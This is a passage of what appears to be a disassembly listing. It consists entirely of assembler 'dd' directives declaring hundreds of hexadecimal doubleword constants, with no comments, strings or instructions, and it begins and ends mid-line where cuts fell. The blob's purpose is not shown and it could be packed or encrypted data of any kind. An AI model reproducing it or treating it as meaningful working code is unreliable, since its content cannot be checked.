676D0011h dd 0CC9B8C86h, 54062F3Bh, 9E79A259h, 81F92058h, 0A3BADE03h dd 0C85FFD50h, 56102Ch, 6A8D5D41h, 989504A1h, 0E4D0F800h dd 86EB2065h, 0BF39C09Ah, 57D188Ah, 0D2FBBD06h, 6008E51Ch dd 95582194h, 0CE00C218h, 0C9B3C133h, 60B5A2A6h, 28DF80CCh dd 0F0C0D262h, 0E423D7BFh, 60D84124h, 5203935Dh, 9B32E359h dd 300896AEh, 0E420D7C9h, 0CB0393E8h, 0AAC63861h, 0A64D935Ch dd 20948058h, 0CDFD33ABh, 3CD85B10h, 0BA00CE0Ch, 0EE793E54h dd 3503D95h, 27A59861h, 5CA86744h, 5B00ABB9h, 6046DEDBh dd 1317BCAh, 17A49CA9h, 209AB080h, 0D03D707h, 5CBF449Dh dd 843CB874h, 225F03A2h, 11078A8Dh, 0C2917AE8h, 0B7A6C700h dd 17B88506h, 0E2CB2472h, 212E0323h, 59F041ECh, 8E00A06Eh dd 1A983F07h, 0D58328h, 8AA71E50h, 16619E97h, 0BEB66E0Fh dd 0FE638066h, 5F81CBh, 1E2DB754h, 4FF6D18Dh, 671A400h dd 4AAE99DDh, 0CFAF00F3h, 0C413F293h, 4378521Eh, 3F0031F4h dd 1835A548h, 1637536h, 0CCFCC8ACh, 9D19BE9Fh, 7B9D2F48h dd 0C1F68F00h, 3F560Bh, 0F8887F6Ch, 9D2BD442h, 3CD1C43Eh dd 195E00F6h, 82AD8B60h, 54108E3h, 8F00F747h, 8C94C21Ch dd 0E1771EAh, 86CCA148h, 54B9F820h, 10C0C045h, 6B64EABFh dd 0BE76072Fh, 60E3FCA5h, 0D4AD0E06h, 0C2DA741Ch, 98FE294Fh dd 0EB5670h, 172FD4Eh, 0E1F741D2h, 38314688h, 0E5817014h dd 0A75DFC71h, 4FC881A6h, 790A6B5Ch, 0E618D0h, 0AB63DC39h dd 33FF1C9Bh, 0F48CCF00h, 8EA8A7A6h, 4C072A75h, 0A0E4318Ch dd 8408F619h, 8EF81469h, 2FC8BB80h, 18450E88h, 21E07AF4h dd 943B31C9h, 4A872500h, 0E78CB7E9h, 895667C0h, 43EEB02Bh dd 8118D5ABh, 0A018A562h, 3977008Ch, 38DF0AEFh, 42058397h dd 8F2AC0F4h, 4DBA8BC0h, 2DFB1460h, 8D00B430h, 0B756941Fh dd 0B83DEB6Ah, 3E6F8079h, 0F5970195h, 377BDFh, 73E4E9AEh dd 0B1EB2766h, 2AA3400h, 2FB381BFh, 0CF830358h, 50D9F003h dd 0E0A2F1C9h, 0DD01AE27h, 2E6D5452h, 408F9961h, 807F49DAh dd 0B5D8F51h, 0DF000147h, 285E2F50h, 983D52D0h, 0C97806ABh dd 20497405h, 65792776h, 20D8F529h, 30290FC2h, 0F61DD96Eh dd 30304988h, 65A474h, 5448F7Bh, 29CD755h, 21C048E8h, 9365CF95h dd 213200DBh, 90C9ADC1h, 0F140EF19h, 31960054h, 9FE2B40Ah dd 250080B8h, 0D88FDFDCh, 38152DAh, 0A650FD18h, 300022D0h dd 97707D9h, 0C645FA3h, 14A4DD20h, 21C02B08h, 8A091EE5h dd 0F7D01422h, 62009892h, 0EB4F6E75h, 0B4A0322Dh, 0AD18DB11h dd 53599680h, 0EC663D21h, 0EEF999E0h, 711C9D91h, 560C74C2h dd 0C1E5089Ah, 91E99C21h, 371CF07Ah, 3A8DF405h, 0DC0F0C2Ch dd 0D0E9143h, 989BE65Dh, 1A4C823h, 5FA10979h, 88361814h dd 90060E7h, 747A5C78h, 638FAB70h, 398B581Bh, 9EFA918h dd 3C3C5C91h, 8E803E4Eh, 0B73595BBh, 2D008407h, 0E3144B3Fh dd 2755081h, 0CBAC25D9h, 84802C41h, 0FBDF1159h, 0BB6C5D3Bh dd 0A5A8647Ah, 0A4097E60h, 111C5F23h, 65E6002Ah, 99CA6309h dd 0F78B079Dh, 5371BABCh, 0B07B5993h, 53702406h, 610020Bh dd 5BF41427h, 8CEE40B4h, 186749h, 75D4C31Fh, 0AABCD8h dd 6F72197Eh, 36DECF09h, 59AD2401h, 5662660Eh, 30832A60h dd 0BF882E95h, 0DBE018A7h, 80AE2505h, 0EC222445h, 91ED301Fh dd 0EA719E11h, 9B87FE88h, 1DF091F4h, 8A806Ah, 7CD3F860h dd 83ADC665h, 2C267228h, 8766446h, 92719F91h, 96400AC4h dd 1F9891F7h, 0F9A17F30h, 3E813446h, 630F682Eh, 0B1A00DD4h dd 2AA7C9A9h, 0FB29BB09h, 0BE0CA079h, 48E32F5Fh, 0D40068A8h dd 0D892740h, 3091E75Ah, 7C86A791h, 6C563809h, 0B2F22DCh dd 6B0963E4h, 0E6313801h, 0F4A8E9F9h, 0BC0CD3FBh, 60CA27DEh dd 3C31C737h, 592DE30h, 4135EFCCh, 0C3588EB0h, 0DFEC4777h dd 1382D60Fh, 9C8A4981h, 2C7301A2h, 9CD72283h, 0B170D1C8h dd 3B29C0Bh, 98195F84h, 0DBA012E9h, 0C008C1Dh, 29FB019Dh dd 1C419217h, 13022FE1h, 584C04ACh, 0D7AC8190h, 1022094Eh dd 8C302CE2h, 55A900C6h, 0D32BAF9Ah, 0A0C117CDh, 56DB808Eh dd 1EFCD0A0h, 54F03BFh, 4E1058F4h, 0C68607DCh, 71F08146h dd 0EC1B9F00h, 0DBFCB82Bh, 0FD403AD3h, 77554977h, 561BA700h dd 0AFEF2B47h, 21D73201h, 4B8169C3h, 0C0025C20h, 0F7BE7E68h dd 5740BD5Bh, 91CB192Ah, 0F558993Eh, 7B40062Fh, 0D0305080h dd 9DA8AAB7h, 802911DCh, 0D4BFECB7h, 13A07DD3h, 473C7DEBh dd 0E14ECE0Ch, 523058F7h, 9C30C97Ch, 2BEF341Bh, 0A47C4CF0h dd 1BEA1121h, 39C31D01h, 577BA371h, 0DB406040h, 76049850h dd 14868A58h, 0EE12F17Dh, 6C3E53A3h, 0D5002823h, 8A5761C1h dd 1C4348ECh, 4050EA24h, 9246D41Bh, 404C23F5h, 5E4C13B0h dd 0E8F09458h, 61078CE1h, 0B1BBAC6Eh, 83803E7Fh, 51D4DE18h dd 828D3D6h, 0A3C0F5A0h, 218F7865h, 5F9102CCh, 65CA9601h dd 0F868CB88h, 0C0A3DB32h, 0FB9C40FCh, 0A5C10Fh, 3EEC0EBFh dd 0C4741DD3h, 0E7068900h, 0C7B92078h, 589F1376h, 0CC18480Eh dd 80ACB569h, 318A64Ah, 2714D068h, 236CD890h, 65BE01F4h dd 18B48F79h, 0C9978852h, 5EAB651Fh, 682491ECh, 561D809h dd 504886ECh, 97BC092h, 4465FC7h, 99002322h, 0EF060962h dd 1D6C6BBDh, 44DFCC77h, 0D467CF5Eh, 0E1CC05Ch, 3C90032Eh dd 98D16044h, 0F0FF4C78h, 23C29E3Fh, 91EA0B62h, 98E20D04h dd 98880D00h, 2932FEF5h, 1D053F7h, 0F35A4931h, 0F940204Bh dd 98CFD33Eh, 0CE8833B3h, 0FD3D26A9h, 8C0115B5h, 6F758F06h dd 7C263048h, 60BF20B6h, 71A55151h, 5FDB245Bh, 0EF790654h dd 10B081FFh, 65CF320h, 8E338132h, 89303953h, 4280410Eh dd 457050h, 6FF0E1CBh, 472F5C6Bh, 9E900A50h, 0A4E65C90h dd 0F4915EE8h, 71BBC400h, 4D0D74DAh, 7CFC5Ch, 5FB965Ah dd 0DF644FA1h, 4B075072h, 0FC533E98h, 4532E8D0h, 675818D8h dd 0CD499866h, 4F7C1900h, 0EA77DC07h, 0DB1F02C9h, 50EEB36Bh dd 83991341h, 0C75FB40h, 3A583F12h, 0D8D1C903h, 5D8BA081h dd 93067FD1h, 230CA6B0h, 2476F987h, 8B81901h, 0B420D8B5h dd 9C54500h, 0BBE58B72h, 73D97EF3h, 0F1C89149h, 9A01852h dd 0AC7C2C3Fh, 0B656C410h, 0F0FEE700h, 7242CDB3h, 37BD0B80h dd 50373E3Dh, 797D4081h, 33D8A504h, 147A12FDh, 0FF100411h dd 264F074Bh, 35EEA3h, 0E98B3639h, 119063C3h, 2785938h dd 0F9C8ECB1h, 0C57F09Bh, 0A78005C9h, 18052740h, 0E383580Fh dd 0B0502C90h, 61F71FE1h, 518F8E81h, 0A4CC2713h, 0A3720034h dd 98F5F9D3h, 0A0190194h, 49EBD1F6h, 8E20BD3Fh, 6AA4A5CBh dd 6E702096h, 6588C84h, 43A4BCA8h, 487E0054h, 0A9DA95EBh dd 53701202h, 2998C03Fh, 63127314h, 0E020D4ABh, 13FA8EF4h dd 40D3D0B7h, 4ABF5230h, 40072B3h, 0C3E20737h, 1F5D7BE5h dd 41019CE9h dd 0A40C8977h, 30A2D990h, 2C040D0Ch, 0F58094Eh, 0BB758101h dd 0E1A840A1h, 0DE60F8ADh, 90695671h, 0D25C0145h, 0A370049Dh dd 0E5422CFh, 2C8B91B4h, 98101Ah, 317C59B7h, 97E73A05h dd 0A203D77Dh, 0A4F809F6h, 7F20B8B5h, 0BD2F830h, 9DE936CFh dd 711B080h, 0D001F0Ah, 542B6104h, 78507E58h, 0AFFC0262h dd 6AE6B14Dh, 5130FC60h, 0AAA87F80h, 567B60A4h, 884F01CBh dd 814C642Ah, 0EB7F065h, 8BECDF09h, 0E57C2079h, 1A25BE9h dd 6DC1C7EAh, 0DC7DCF26h, 7F3D8D85h, 0E9F8C59h, 924F401Eh dd 0D17C1F30h, 3E4E403Dh, 319A04A5h, 4B386F00h, 2BD72A13h dd 0B6820EE1h, 0A6408B30h, 0E56710C0h, 58F1BE00h, 89F3B9ABh dd 0E957180h, 27C59E62h, 77B2E943h, 16C01CB3h, 3F001DB4h dd 0F0D268F7h, 0B0924E79h, 0B03A03B6h, 20BBA6C4h, 0B2801800h dd 30039ECDh, 0D7473CC7h, 5665E20Fh, 265F7B07h, 0C53928D5h dd 610BB14Bh, 86E4A8AEh, 0C2B0007h, 0F377F657h, 950079D2h dd 3E434F1Ch, 1F5AFE37h, 0C1C51A4Dh, 0F77132B7h, 0CA144107h dd 4A68F846h, 0BCC7FE3Fh, 7876B0A2h, 3202B7F3h, 7ED1AACEh dd 0A8151C90h, 0C78519C6h, 1B36E8C0h, 98943055h, 0E0A226D4h dd 0BEC0C31Ah, 2142F171h, 1D9EA15Ch, 91C8B800h, 0FBAF207h dd 3510B08Ch, 6E34B7ABh, 0DC40201Fh, 1A72F7BDh, 0D8F6D414h dd 21640090h, 3D9F7057h, 0B1506215h, 0B3E075A8h, 2C015A45h dd 95F1F5C9h, 86D83BC8h, 28C46337h, 3103F915h, 0B14258ECh dd 0B502E0C7h, 186460E9h, 0E5FD7881h, 562FBD0Ch, 88C3785Ah dd 67015EC9h, 330692CBh, 0A04128A6h, 8010745Fh, 37506ECAh dd 27002C98h, 0D14DD02Eh, 7A925EC2h, 14350065h, 0F974BEB0h dd 0B330023Ah, 0A65779EBh, 6124A993h, 0B1745310h, 0B0FE7603h dd 0FC15FDh, 0EE46F7C1h, 0D76D4DB5h, 0E125A14h, 0FA8203F0h dd 0B0F966D0h, 553B9D2Bh, 80F0B8DBh, 18A5611Ah, 843FDD47h dd 875E5A48h, 32790C80h, 0EEC98EFh, 2B2E9692h, 0E2FE4940h dd 8F0697DBh, 704D76B8h, 1ED9E481h, 80698CBCh, 5D122BBFh dd 9A30EA26h, 65B52130h, 0CF28078Ah, 0B08623F0h, 0B642EC82h dd 0D55A89A0h, 0F4171D2Ah, 0DDAE7801h, 86EA0629h, 12734FD8h dd 3A60AFh, 0AB974D30h, 3354C934h, 46191DE4h, 37A167E7h dd 3AD95D60h, 8A809A18h, 8DBD5FBCh, 700CC29Eh, 481E88F7h dd 674C7396h, 0A2FAA134h, 8887A7BAh, 0A4D94C15h, 2734190Ch dd 1C86E0CCh, 9437ACCAh, 303CD4C4h, 0EFE2D300h, 73D0DFA9h dd 0D70E6212h, 0B751EF00h, 0CF1E3Fh, 0FF3630E3h, 4216AC11h dd 74F4252Ch, 5A48F700h, 3EAE97C7h, 2060E766h, 9277B1C2h dd 0C363590Bh, 580D8FFAh, 0C0AFE608h, 925FD120h, 0F1002199h dd 8D9CD62Bh, 770CC4F0h, 0E3C60062h, 81D3458h, 4D33B49Dh dd 0C16C3871h, 44403175h, 0F243A622h, 0EA4764Eh, 23DC445Ah dd 3F212D8Ch, 0B00040FAh, 0A0B71321h, 0C38DD6B9h, 53362F30h dd 0DA30680Ch, 60ED31D3h, 0FA5AA1FBh, 0B7000762h, 88303391h dd 609FA413h, 81CD98F6h, 0C16CB49Ch, 8C5F9938h, 6B439002h dd 1923F44Eh, 0B805101Bh, 3B980043h, 576A5EAEh, 241880F3h dd 0CA58E735h, 0C45AF853h, 47C7DDA1h, 9B704C5h, 5906868Fh dd 8E700081h, 9C9EB31Ch, 19010A37h, 4810869h, 5087AEE1h dd 0D0F84846h, 0A76C1AE4h, 99239807h, 0EE008297h, 0E8CCABC9h dd 0B83C00C8h, 0A8B4811h, 719065B4h, 0BE3C5477h, 73380D1h dd 0FC3C2252h, 9CB15C88h, 0CF6E1B00h, 812C9E7Bh, 0A4D59A00h dd 0E0CEF339h, 615D0054h, 0DF51FC1Fh, 23019708h, 0C08A3E89h dd 0A1F4DA09h, 3A5FE6Bh, 0D387DFE8h, 0D2C02331h, 6C00AB0Bh dd 91F72D81h, 7E9CEE4h, 3E797856h, 7F043AF8h, 0B01AF560h dd 0D668A1A9h, 0FEF621D8h, 0E83500A1h, 33F77741h, 4D1E2F62h dd 2140A08Eh, 9313C990h, 0A1440C06h, 0AF29D208h, 84626344h dd 0DE883F73h, 66FB88ECh, 8875F588h, 0DF88A72Bh, 218C8BEFh dd 1712465Eh, 88C3FA10h, 0F4801843h, 14AF00D2h, 0D6A70897h dd 3D3E548Ch, 0C169807Dh, 35FCF128h, 5BEA00FEh, 0B481CC26h dd 0E70178ECh, 3DD0D1Dh, 40D8C3D1h, 0F3F90093h, 0FADBAAD0h dd 1EF68267h, 18E8E600h, 0ABC3DD79h, 7BB60059h, 0FA5D9825h dd 0A7C12A4h, 0D7C9A807h, 809B9B35h, 0C806AB40h, 0B09000BEh dd 0F6E5112Bh, 26C00A14h, 792DF205h, 5AC81FBBh, 7CE08395h dd 0BFB0C180h, 4008DCBh, 0CA295C6Dh, 7B76ADABh, 27A107D6h dd 0DA6C4Eh, 14EDE4ACh, 775F33Ch, 0D55B65EAh, 9D74F400h dd 397C00D9h, 934FA2Fh, 80004BB6h, 0D80D7026h, 7B90B3h dd 663A7A78h, 0E55DB476h, 5384C400h, 0AA040E68h, 0C2849E9h dd 51B19F00h, 53E65E1Bh, 0DC708A60h, 0CC7E711h, 16F42C78h dd 0F6002858h, 6D3E140Bh, 0E4908B9Bh, 936E009Ch, 0B4A2575Dh dd 0CF000CD6h, 0D364897Ch, 48FB7559h, 760E48FAh, 9507C0C1h dd 48D6006Eh, 0F85035E1h, 7E003084h, 2A36F279h, 7789F9h dd 1E840E80h, 26B8D862h, 915BC100h, 1CEAAA76h, 0B7441DF2h dd 0F40640E9h, 0FD74B180h, 0DC5118C0h, 7DB51197h, 50F01CDBh dd 8ED03095h, 8F0047D1h, 93531DC2h, 484172h, 0C4896235h dd 13C017FCh, 4F098600h, 0E1572503h, 2E8507D2h, 331D06E5h dd 5482A93Dh, 0B909A040h, 4ADE48h, 8D1422ACh, 0D67833h dd 0B0A354A1h, 7FE15A63h, 46F60C19h, 0E6D81224h, 0A3FB0013h dd 97F49035h, 7B01DD75h, 31810255h, 2EC85DB1h, 0EC9F0019h dd 0D31AC459h, 0B900B48Fh, 478DCA54h, 5735F9h, 91293E7h dd 0BD7E84Eh, 0C36BCE00h, 0AD99E0EEh, 0F9380019h, 63467220h dd 12015F93h, 1CEB83A7h, 0BBEC2A0Fh, 0F89F00C1h, 19B7E317h dd 5D16B328h, 641CBD54h, 0B6895604h, 45655880h, 8AB51C5Ah dd 3F4F40A5h, 78BA8BAAh, 71001C90h, 0C7DE53EDh, 0E062820h dd 5BBE5874h, 9EB095C0h, 8E0C3D3h, 0E2ADC900h, 8714BC90h dd 0E461008Dh, 0A2A0C702h, 2FB09D7Fh, 515C18C1h, 0D8F8ECA4h dd 0C97A1EC6h, 0C5FD8019h, 64AF662h, 69099300h, 0E1F24F01h dd 8B7F45h, 9E4325E5h, 94706854h, 7DEFE007h, 0F1E075ADh dd 49815Fh, 0B2652C88h, 824DA418h, 80D73F3Bh, 9E857FFCh dd 0E43B803Ah, 187466h, 4336A1ACh, 8C08F40Eh, 0C200B57Bh dd 0A2BB71C9h, 103D919h, 7F063144h, 0E469FBC0h, 0EF0061B9h dd 0C18118CEh, 7AF3BB65h, 940650A2h, 0F2D20054h, 6EE16837h dd 0A400FB70h, 5702B51Bh, 7C5B29h, 2185A01Dh, 626EA966h dd 2AF70600h, 3637402Fh, 48FB00EAh, 13BB292h, 1B981C86h dd 0AFE3B507h, 6C10ACCEh, 0A730C33h, 2E35F02Dh, 924C07CCh dd 0B8D281CDh, 8920205Fh, 60DFA000h, 5D946D13h, 0C0F648CFh dd 0D1548500h, 31AF6EE8h, 0A0CECC00h, 0A1907CE9h, 9825F40Ah dd 0E85500C5h, 3DEB80FDh, 474C4C5h, 4714Ch, 6B9186F7h dd 55409E4h, 0C68701A2h, 2F5EC27Bh, 0CF889843h, 40E1306Bh dd 85889788h, 64E4A724h, 0C6915900h, 0CFE9DDh, 0F16C1946h dd 0DA849717h, 0F8CE2903h, 804555CAh, 3B43321h, 0F6CD828Fh dd 0AE80117h, 184EF21Dh, 7C2CF9A0h, 101400C1h, 871F6E49h dd 2D020AEBh, 73B6FB51h, 306626h, 8FC050EAh, 4DFD6D6Eh dd 0EBE21300h, 430107D7h, 81140035h, 78823032h, 0B000C4E9h dd 0AAA539D6h, 3EF716B6h, 4080FC63h, 69919AD5h, 1000B874h dd 0FEDB236Fh, 30B3FFh dd 8544217Fh, 0D6F33F71h, 0D13CB976h, 14C003ABh, 0D82ED3F0h dd 3AE95DF9h, 3C804661h, 93C83730h, 6301FFD7h, 11633CAh dd 949D1BF3h, 0D0414744h, 7769C0ADh, 0A0004EA9h, 6671D206h dd 3D76ED14h, 9B000BE1h, 91DBC6B0h, 68003FB7h, 0AB43E9B3h dd 73842973h, 0F01200E1h, 66198B61h, 67007C75h, 0A9F69E91h dd 0B5C770h, 44528914h, 27931028h, 193E1B0Fh, 1F00F377h dd 0DA7F5037h, 10EF00E3h, 0AD12ABBBh, 94025BC8h, 9EE79D15h dd 6B97C07Bh, 9CDB00B1h, 0FAA2C90Bh, 0F0023D6h, 10D57F90h dd 300EDE5Dh, 4040B2E0h, 3C0344F3h, 56C359FBh, 9F73E807h dd 30F815h, 17FE18ECh, 7DDCF2D3h, 8CB20D00h, 0C5F410C2h dd 37880012h, 0EF7A66EBh, 0A0009E7Fh, 2769986Bh, 71EA28C8h dd 29E70045h, 0CA39B804h, 0AF07D04Ah, 4C80DF60h, 1CA7FB40h dd 0E7BE002Bh, 57557E45h, 0EA39226Ch, 2369206h, 1B4C6000h dd 0F81AF6Ah, 50E8678Bh, 932D1323h, 37538EF8h, 94B8C500h dd 0C7012A70h, 4EAC03BBh, 0D3E8267Eh, 0C22402A9h, 956328E0h dd 62D4C109h, 7E800E0h, 1DAC5D86h, 0ACB66466h, 36A702D3h dd 0AC046B8h, 945C7C53h, 85EF01E8h, 4318CB5Bh, 1EB309F8h dd 0DF762103h, 74BF87EAh, 0F1CD17A8h, 0E433ED49h, 3B0F2824h dd 0C6698E91h, 168CB79h, 5AE30A39h, 0D4533D96h, 0E70FEF10h dd 0C324E56Dh, 0B8F76193h, 22E15DCh, 12821CC4h, 0BC48F2E4h dd 0BD010717h, 4CB89C3Bh, 0D4FC940Dh, 0B34D0B6Fh, 2010E6E7h dd 0FF31C951h, 0D0A6200Ah, 5C07D0EFh, 0ADAE00A5h, 549D2327h dd 830119E6h, 81BDD7C0h, 0A6EC50EBh, 9B0B0001h, 0D2D37F41h dd 2004CB0h, 0C5ED5907h, 58E82FCBh, 3D023634h, 3EFB5D6h dd 956EB5C0h, 6B13091Ch, 0A07DE98Eh, 0A5F76378h, 71B20094h dd 8BE1C8E8h, 3A00A020h, 0DCABB5D9h, 0E25741CAh, 0F9BD583Dh dd 79D0AC02h, 3860CE23h, 0C5001331h, 4098E71Ah, 0B03ED680h dd 92A10E98h, 0E3E7C011h, 0D415F0FAh, 7C005A4Dh, 0A2917319h dd 509483Ah, 0A965637Ah, 0C4E6831Fh, 3B215D0h, 6E006C99h dd 280B4BFDh, 0F8CB3A9Eh, 0A98D4381h, 2840DAE3h, 813301E4h dd 6F2CC787h, 2DC01465h, 294242h, 9739D494h, 146FE134h dd 0E92C20CBh, 541F8B39h, 0C8305805h, 7157FD6h, 8FC365Bh dd 405A03C3h, 26E6AB6h, 38666B2Eh, 9BBD8184h, 83EBACC7h dd 0C32D55A2h, 4092D1EAh, 2EE80825h, 0B0D87F50h, 2E71C38h dd 64F7C03Ch, 58142D72h, 9DFB4600h, 0B13BD676h, 0FE940101h dd 0AEB352CAh, 2FE9C465h, 0C92B20Fh, 301421DBh, 4293501Eh dd 15C500A2h, 84CF0BAAh, 0B94ED60Bh, 0D1300057h, 7E0C3411h dd 0CDF8D0h, 96B14A54h, 49FAB509h, 21F3CB00h, 0DE8EB817h dd 0AB0A3BFDh, 90BC3104h, 0C77807Ah, 373FAD4Fh, 48F88513h dd 0C8C09740h, 5C8719F6h, 0AB0074ECh, 0E07581Fh, 0A1CB373h dd 6A80150Bh, 0FFBAA78Dh, 941224AFh, 877180D0h, 0D9BE3098h dd 6F842F00h, 5BC14365h, 75FA0085h, 37717B68h, 0A328971Dh dd 0F40F9026h, 618CFE1Fh, 16521E87h, 8B012C28h, 9343F855h dd 0A3EAF4A2h, 2A00677Bh, 0FCC12541h, 35F157h, 586BC40Eh dd 3E7971C0h, 9CE0DC24h, 8EE8FD01h, 0CED8145Eh, 7C1A3A1Fh dd 0DB90CD00h, 0A79B2068h, 7EC5AB05h, 0C4C04246h, 12C5B52h dd 0E0F54D17h, 308F24F4h, 424C7DCEh, 586A03B3h, 0F9480832h dd 0B370F7EEh, 40BD4E6Fh, 6E84383Ch, 4E00A75Dh, 27C983FBh dd 0C07B1994h, 2BE36A20h, 0AC047C12h, 0DA2F08F3h, 26B940B4h dd 8E2497AEh, 4E001082h, 332D92A6h, 5B94E899h, 0CA321889h dd 77D4EBBEh, 0F2F09E9h, 64807DB1h, 0F415F642h, 89301300h dd 0DC02C127h, 3B4E61Dh, 0EAC55394h, 8A98CFE8h, 1E381B87h dd 7700FAFCh, 7259BBE9h, 95815Bh, 990AE16Fh, 0A78923FBh dd 0BE8B5101h, 0E2829E5Ah, 77B3E0h, 0A04DD89Bh, 5CB04639h dd 1EF3FA00h, 4E07A53Dh, 2C8071E2h, 81CCDA2Eh, 0CFF3784Ch dd 0D530C8D2h, 0CF5792Eh, 7A65A602h, 0A44CE021h, 0C6236097h dd 0CF065725h, 46E4F000h, 0CEC3EC3Ah, 0EAC20378h, 0B7DCBF88h dd 209CC090h, 47FBB601h, 50435938h, 21C020h, 835B6FEBh dd 57F47371h, 23377700h, 4DD3FFB0h, 0A2E60039h, 50177D10h dd 0C12E5EADh, 3E8F88F8h, 15A5E012h, 96FED1h, 7999BC76h dd 0B005D9C9h, 6400584Bh, 0DE8AFF6Bh, 44A76F9h, 3A0F8C65h dd 0FD04827Dh, 0A1016458h, 7969B475h, 99E0F3E6h, 2291120Eh dd 0AA6CC093h, 3A00A171h, 61A86BBDh, 7FBCA6F1h, 9C680956h dd 40808DC7h, 0A8E02536h, 0C7A3DB24h, 75509F00h, 0E2233CCCh dd 17D30008h, 0FCF326B3h, 0CF2C5235h, 0C00CF83h, 887E9D27h dd 74BE00C0h, 0B0F53E2Ch, 0D104F21Ch, 60347765h, 0DB8FEC90h dd 93CD5C5Ch, 4B62F100h, 0DF24647Dh, 159ED017h, 97251800h dd 33F2AE9h, 0CBE6886Fh, 8D98CF62h, 6E1DE3B1h, 6B061217h dd 48CC67h, 0A3FD3230h, 0AF29631Fh, 0F898D60Fh, 0B51DC05Ch dd 5CFF5619h, 33CC835h, 0B6AF9400h, 964C9C8Ch, 74242800h dd 0C095A1C6h, 5B209AAh, 0C8003563h, 597FA8B0h, 0F802B800h dd 70828876h, 0F2180065h, 0A093D185h, 3301F9E3h, 80E4ABA6h dd 32E47804h, 1D350038h, 8C64473Ch, 30001EDEh, 5311FB4Dh dd 0BC0CC2Dh, 0B59AACD8h, 26ED10A0h, 3F546970h, 0D60508D8h dd 770F9901h, 88F20AC3h, 7C7D3BF5h, 0B5C0034Bh, 1FB176FEh dd 5498DEC0h, 67B82700h, 318377E3h, 0A8EA3Dh, 95C11236h dd 0C62B1F9Bh, 980A1C01h, 10B337C5h, 0C4407BD5h, 7F0C311h dd 0F205BE76h, 80F8E60Ch, 9B003B76h, 2631029Eh, 5CD98333h dd 5F2E6411h, 0BDBF041Bh, 8B54E09Fh, 934E709Eh, 0ED00C05Fh dd 1FB32242h, 0EB0F0FD6h, 5FE1C06Ah, 0ECEFF59Ch, 0A90078F7h dd 55FAD38Dh, 4C28EADh, 4B0A7C64h, 0B0F3C7F4h, 45860801h dd 482C590Ch, 377189h, 0CA07610Ch, 0FD4D424Ah, 885B5500h dd 33E27C1Eh, 70980Bh, 6BF8F08Ch, 5BE544FBh, 9078A626h dd 36D849h, 0AE2B9B32h, 9111FE53h, 0C0B520C7h, 0F8DDE01Fh dd 137F2F5Eh, 1650D481h, 999800DCh, 3F53F964h, 56046000h dd 0D31CFDD1h, 47A7028Fh, 22E62D40h, 0FE0E943h, 6500C794h dd 26B0088Bh, 0A0629Eh, 9F5B29D6h, 0EE96AD7h, 0D1BF6951h dd 729C40C7h, 0E53C7F35h, 55D21C70h, 2C14BB80h, 177D76D4h dd 20D583F5h, 943A3C8h, 0C11D009Ch, 415AED40h, 9147AEh dd 0D7A75F10h, 616A74E8h, 4A0120BAh, 6E87E94Fh, 0E8C71425h dd 30C5DC94h, 6FC8BF1Ch, 6800792Dh, 0C38B9B67h, 0AACCA2h dd 0E7F024D9h, 0C8ECCBB4h, 94904600h, 83E84ABh, 5480C0FBh dd 0FD1A825h, 4E016917h, 74407430h, 9AED488Fh, 0C220BD00h dd 0C9D6ABCAh, 0B0C09578h, 9A5DDB77h, 51D30B4Bh, 70A0D006h dd 0E0722931h, 7C75F124h, 8EFF1601h, 0EDCC4844h, 0ACC358D8h dd 0F5598300h, 0F01FEB9h, 85291139h, 2D7CA7Bh, 0E0EBAAC3h dd 0EAD421h, 6D134CCCh, 0F692F2DDh, 0C8A1102h, 0E0235A22h dd 1260649Eh, 27F54F4h, 0C44AEE14h, 2EB99CE0h, 0CE402F00h dd 0E04E1A5h, 8B832DACh, 0DD539080h, 7900A4AEh, 0BFD0752Fh dd 171527ECh, 0EBA19Bh, 4BAF6EB4h, 0E9000454h, 860A67FAh dd 12CCA66h, 6C97BB9Bh, 34207ADCh, 781E7B08h, 0E0B0C01Ah dd 9F0176h, 618E99EAh, 0E1E3CE90h, 323BF098h, 0ED161E84h dd 0A095968Fh, 7CF6CDD3h dd 80B0017Eh, 1BFFDCEBh, 0AAA2F40Dh, 55CB2700h, 0CA1873B3h dd 5A0C0EFCh, 7DC0C6F2h, 2A43E2B2h, 25EA5DFEh, 99D7D904h dd 4806BCFh, 0E90C9h, 89BD7F5Bh, 0FC879796h, 0E60CAB00h dd 0C7540F17h, 0C343002Ch, 9C155E53h, 500A1F1h, 2BF647D2h dd 1D8870Eh, 0A770B08Dh, 0C4B9E957h, 0A100FE74h, 0A5715832h dd 0F00C317Bh, 0E35E00CFh, 7D6CA98Dh, 1600F926h, 60694686h dd 4C73549Bh, 7701C8A2h, 83A71B8Dh, 0CEEC245Fh, 6A3F8400h dd 94935980h, 49DDE239h, 57001418h, 79BC4F5Dh, 5B012391h dd 905C0631h, 0A824EC36h, 21571653h, 4D30FA1h, 32F21B20h dd 3A07FAB5h, 6AA6748Bh, 0AD72D860h, 5A34FC41h, 832C0F43h dd 58C6636Fh, 0A073911h, 2191B572h, 0F8166C50h, 9AC0F9AAh dd 1C807D97h, 2E15DD8Ah, 0BFE6052Ah, 239C019Eh, 3C03EE3Ah dd 0D179821Ch, 2A16E1F7h, 4367F70h, 0C2F40DA9h, 0E7E88011h dd 0D2071316h, 0FEE39C08h, 0A4501F20h, 2201007Eh, 0D6786137h dd 0D30007EFh, 47FABE03h, 609BC219h, 7A4C4466h, 0B9501F43h dd 0D1664ECh, 68074628h, 0DD978114h, 4230ADA7h, 371FD4h dd 8AAF8C63h, 0B006A62Ch, 268B9817h, 0EBD9D001h, 74606602h dd 53EC0091h, 0B738873Bh, 341CEAE3h, 0CC8072A8h, 0FE17CD0Ch dd 4B000D6h, 20EB8627h, 37E88351h, 0D952EC01h, 0E15A60A9h dd 5CC42FD8h, 0EC7D9970h, 0BB7E3FF4h, 3AC36F00h, 23FEFB2Ch dd 5C0E6A24h, 0E0A7F80Fh, 0D058CA9Dh, 281E034Fh, 6CA21B29h dd 79F83188h, 8C19E426h, 0F524D380h, 0F2FD8Ah, 4C6E4EB6h dd 98DF55CAh, 2671A20h, 2C52B7F0h, 0F883A1F4h, 0A8B8A08Bh dd 0BB267184h, 8A007CF9h, 0FB5136CDh, 2B813D31h, 0FE4AC280h dd 3C4417BAh, 8CC67D00h, 0C83D4366h, 0BC8F1EC0h, 477A1C37h dd 502579B9h, 657FF52Ah, 0F29E1A16h, 0FAC413h, 0CB108369h dd 110F3FDEh, 0DC1B44h, 821E369Bh, 517231EDh, 793A13C0h dd 400075E4h, 88111931h, 0A0E59349h, 1E8F1D1h, 1E46DBCh dd 80F2247Bh, 0AEEEFB19h, 71D7A2B0h, 2B8E0017h, 0E7E20F07h dd 550AA821h, 